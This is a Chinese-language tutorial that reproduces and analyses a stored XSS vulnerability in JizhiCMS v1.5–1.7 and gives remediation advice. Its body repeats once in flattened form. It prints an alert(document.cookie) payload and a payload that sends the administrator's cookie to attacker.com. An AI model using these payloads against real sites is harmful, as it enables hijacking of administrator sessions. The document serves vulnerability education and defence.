极致CMS存储XSS|前台打后台COOKIE漏洞复现
字数 1035 2025-08-25 22:58:55

极致CMS存储型XSS漏洞分析与复现教学文档

漏洞概述

漏洞类型:存储型跨站脚本攻击(XSS)
影响版本:极致CMS v1.5至v1.7
漏洞位置:文章管理模块
危害等级:高危
漏洞成因:前端输出未进行HTML实体编码导致XSS攻击

漏洞影响

攻击者可利用此漏洞:

  1. 通过存储型XSS窃取管理员Cookie
  2. 获取后台权限
  3. 执行任意管理员权限操作
  4. 可能进一步渗透服务器

漏洞复现步骤

环境准备

  1. 搭建极致CMS v1.5-v1.7版本环境
  2. 确保拥有前台用户发布权限和后台管理权限

攻击流程

  1. 创建可发布文章的栏目

    • 登录后台管理系统
    • 创建允许用户发布文章的栏目
  2. 前台发布恶意文章

    • 使用普通用户账号登录前台
    • 在文章发布页面,标题处插入XSS payload:
      <script>alert(document.cookie)</script>
      
    • 发布文章
  3. 触发XSS

    • 管理员登录后台
    • 访问文章列表页面
    • 点击包含XSS payload的文章标题
    • 系统弹出当前会话的Cookie信息
  4. 窃取Cookie

    • 将payload替换为发送Cookie到远程服务器的代码:
      <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
      
    • 攻击者可获取管理员会话信息

漏洞分析

代码层面分析

漏洞位于article-list.html文件第191行附近,关键问题:

  • 输出文章标题时未进行HTML实体编码
  • 直接输出用户输入内容到HTML页面

安全机制缺失

  1. 输入过滤不足:

    • 文章发布时未对XSS相关字符进行过滤
  2. 输出编码缺失:

    • 前端显示时未对特殊字符进行HTML实体编码

修复建议

临时解决方案

  1. 禁用功能

    • 如非必要,可暂时关闭用户前台发布文章功能
  2. 手动编码

    • 修改article-list.html文件,在输出处添加HTML实体编码

长期解决方案

  1. 输入过滤

    • 在文章发布接口添加XSS过滤函数
    • 过滤<, >, ", ', &等特殊字符
  2. 输出编码

    • 对所有用户可控数据的输出进行HTML实体编码
    • 使用框架提供的安全输出函数
  3. 内容安全策略(CSP)

    • 实施严格的CSP策略限制内联脚本执行
  4. Cookie安全

    • 设置HttpOnly和Secure标志
    • 使用SameSite属性防止CSRF攻击

验证修复

  1. 尝试插入XSS payload
  2. 验证payload是否被正确过滤或编码
  3. 检查输出页面源代码确认特殊字符已被转义

总结

该漏洞展示了存储型XSS的典型危害,攻击者可通过用户输入点植入恶意代码,当管理员查看相关内容时触发攻击。开发过程中必须贯彻"不信任用户输入"原则,实施输入过滤和输出编码的双重防护机制。

极致CMS存储型XSS漏洞分析与复现教学文档 漏洞概述 漏洞类型 :存储型跨站脚本攻击(XSS) 影响版本 :极致CMS v1.5至v1.7 漏洞位置 :文章管理模块 危害等级 :高危 漏洞成因 :前端输出未进行HTML实体编码导致XSS攻击 漏洞影响 攻击者可利用此漏洞: 通过存储型XSS窃取管理员Cookie 获取后台权限 执行任意管理员权限操作 可能进一步渗透服务器 漏洞复现步骤 环境准备 搭建极致CMS v1.5-v1.7版本环境 确保拥有前台用户发布权限和后台管理权限 攻击流程 创建可发布文章的栏目 登录后台管理系统 创建允许用户发布文章的栏目 前台发布恶意文章 使用普通用户账号登录前台 在文章发布页面,标题处插入XSS payload: 发布文章 触发XSS 管理员登录后台 访问文章列表页面 点击包含XSS payload的文章标题 系统弹出当前会话的Cookie信息 窃取Cookie 将payload替换为发送Cookie到远程服务器的代码: 攻击者可获取管理员会话信息 漏洞分析 代码层面分析 漏洞位于 article-list.html 文件第191行附近,关键问题: 输出文章标题时未进行HTML实体编码 直接输出用户输入内容到HTML页面 安全机制缺失 输入过滤不足: 文章发布时未对XSS相关字符进行过滤 输出编码缺失: 前端显示时未对特殊字符进行HTML实体编码 修复建议 临时解决方案 禁用功能 : 如非必要,可暂时关闭用户前台发布文章功能 手动编码 : 修改 article-list.html 文件,在输出处添加HTML实体编码 长期解决方案 输入过滤 : 在文章发布接口添加XSS过滤函数 过滤 < , > , " , ' , & 等特殊字符 输出编码 : 对所有用户可控数据的输出进行HTML实体编码 使用框架提供的安全输出函数 内容安全策略(CSP) : 实施严格的CSP策略限制内联脚本执行 Cookie安全 : 设置HttpOnly和Secure标志 使用SameSite属性防止CSRF攻击 验证修复 尝试插入XSS payload 验证payload是否被正确过滤或编码 检查输出页面源代码确认特殊字符已被转义 总结 该漏洞展示了存储型XSS的典型危害,攻击者可通过用户输入点植入恶意代码,当管理员查看相关内容时触发攻击。开发过程中必须贯彻"不信任用户输入"原则,实施输入过滤和输出编码的双重防护机制。